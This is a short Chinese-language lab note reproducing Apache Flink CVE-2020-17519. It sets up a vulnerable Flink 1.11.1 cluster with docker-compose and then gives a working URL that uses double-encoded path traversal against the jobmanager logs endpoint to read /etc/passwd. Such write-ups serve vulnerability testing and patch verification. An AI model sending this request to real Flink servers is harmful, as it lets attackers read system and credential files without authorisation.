漏洞复现 Apache Flink CVE-2020-17519

我安装的 flink 使用的是 docker flink:1.11.1版本
docker-compose.yml

version: '3.1'
networks:
  isop:
    driver: bridge
services:
  jobmanager:
    image: flink:1.11.1
    expose:
      - "6123"
    ports:
      - "8081:8081"
    command: jobmanager
    environment:
      - JOB_MANAGER_RPC_ADDRESS=jobmanager
    volumes:
      - /../flink-docker/flink-conf.yaml:/opt/flink/conf/flink-conf.yaml
    restart: always
    networks:
      - isop

  taskmanager:
    image: flink:1.11.1
    expose:
      - "6121"
      - "6122"
    depends_on:
      - jobmanager
    command: taskmanager
    links:
      - "jobmanager:jobmanager"
    environment:
      - JOB_MANAGER_RPC_ADDRESS=jobmanager
    volumes:
      - /../flink-docker/flink-conf.yaml:/opt/flink/conf/flink-conf.yaml
      - /../rocksDB:/data/rocksDB
    networks:
      - isop
    restart: always

运行起来之后直接访问：

http://127.0.0.1:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

参考：
https://blog.csdn.net/god_zzZ/article/details/112286083